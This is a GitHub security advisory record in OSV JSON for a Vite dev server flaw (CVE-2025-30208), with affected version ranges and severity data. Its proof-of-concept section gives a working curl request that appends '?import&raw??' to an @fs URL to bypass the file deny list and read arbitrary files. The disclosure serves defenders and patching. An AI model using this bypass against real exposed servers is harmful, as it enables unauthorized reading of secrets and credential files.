{"id":"GHSA-x574-m823-4x7w","summary":"Vite bypasses server.fs.deny when using ?raw??","details":"### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\nOnly apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes.\n\n### PoC\n```bash\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" \u003e /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n    \u003cbody\u003e\n      \u003ch1\u003e403 Restricted\u003c/h1\u003e\n      \u003cp\u003eThe request url "/tmp/secret.txt" is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw??\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```","aliases":["CVE-2025-30208"],"modified":"2026-07-17T21:16:08.067430332Z","published":"2025-03-25T14:00:02Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-03-25T14:00:02Z","nvd_published_at":"2025-03-24T17:15:21Z","cwe_ids":["CWE-200","CWE-284"]},"references":[{"type":"WEB","url":"https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30208"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca"},{"type":"WEB","url":"https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1"},{"type":"PACKAGE","url":"https://github.com/vitejs/vite"}],"affected":[{"package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.2.0"},{"fixed":"6.2.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-x574-m823-4x7w/GHSA-x574-m823-4x7w.json"}},{"package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.1.0"},{"fixed":"6.1.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-x574-m823-4x7w/GHSA-x574-m823-4x7w.json"}},{"package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.0.0"},{"fixed":"6.0.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-x574-m823-4x7w/GHSA-x574-m823-4x7w.json"}},{"package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.4.15"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-x574-m823-4x7w/GHSA-x574-m823-4x7w.json"}},{"package":{"name":"vite","ecosystem":"npm","purl":"pkg:npm/vite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.5.10"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-x574-m823-4x7w/GHSA-x574-m823-4x7w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}]}